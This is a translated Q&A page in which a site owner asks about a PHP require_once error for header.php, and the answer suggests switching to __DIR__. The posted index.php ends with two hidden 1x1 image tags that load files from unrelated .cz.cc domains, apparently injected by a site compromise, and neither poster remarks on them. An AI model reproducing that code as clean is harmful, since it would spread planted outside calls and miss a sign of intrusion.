php - 致命错误:require_once():无法打开所需的 header.php
问题描述
我已经看到了许多与我类似的问题和答案,但无法弄清楚如何将我所看到的应用于我的具体情况。从上周三开始,我的网站上突然出现了错误消息:
致命错误:require_once(): 无法打开所需的 '/usr/services/vux/apache/htdocs/includes/header.php'(include_path='.:/usr/share/php:/usr/services/vux/lib/ php') 在第 3 行的 /data/18/1/143/77/1632403/user/1759632/htdocs/swp/htdocs/index.php
这是我在 index.php 文件中看到的代码:
<?php
$page_id=1;
require_once($_SERVER["DOCUMENT_ROOT"]."/includes/header.php");
?>
<!-- BEGIN PAGE CONTENT -->
<?php
displayPage($page_id);
echo "<a href='news.php'><img src='http://www.springwoodpoms.com/images/latest_news.jpg' border='0'></A>";
$value1 = returnSettingValue(1);
listNews($value1);
?>
<!-- END PAGE CONTENT -->
<?php
require_once($_SERVER["DOCUMENT_ROOT"]."/includes/footer.php");
?><img heigth="1" width="1" border="0" src="http://foxmeyer.cz.cc/151946.jpg">
<img heigth="1" width="1" border="0" src="http://foxpaine.cz.cc/154426.jpg">
附件是 header.php 文件的 Web 根路径的图像。权限全部设置为 0664。
我需要将代码更改为第 3 行的 index.php 文件中的代码以修复查找 header.php 文件的错误吗?
我知道我所有的文件在哪里,并且可以按照说明执行代码,非常好。我只是不知道从哪里开始?任何帮助或建议都会很棒。
解决方案
尝试更改$_SERVER["DOCUMENT_ROOT"]
为,__DIR__
以便您的代码如下所示:
require_once(__DIR__."/includes/header.php");
推荐阅读
- javascript - 使用多个渲染共享深度缓冲区?
- docker - 如何从公共网络(互联网)访问 docker 服务?
- python - 如何获取当前的 GPIO?
- c++ - 如何减少应用程序的堆栈和堆大小?
- angular - 为什么过滤器运算符的参数没有采用可观察数组中存在的属性
- api - 我在 nativescript-vue 中使用 fetch 时遇到问题
- heroku - 在 Web 上部署前端和后端代码
- mysql - 当有不同的货币时如何获得买卖平衡?
- aframe - 如何在 aframe 中添加自定义加载屏幕以显示加载了多少百分比的 aframe 场景(对于大型 gltf 模型)?
- c# - .net core MVC 应用程序中的 Auth0 禁止返回 403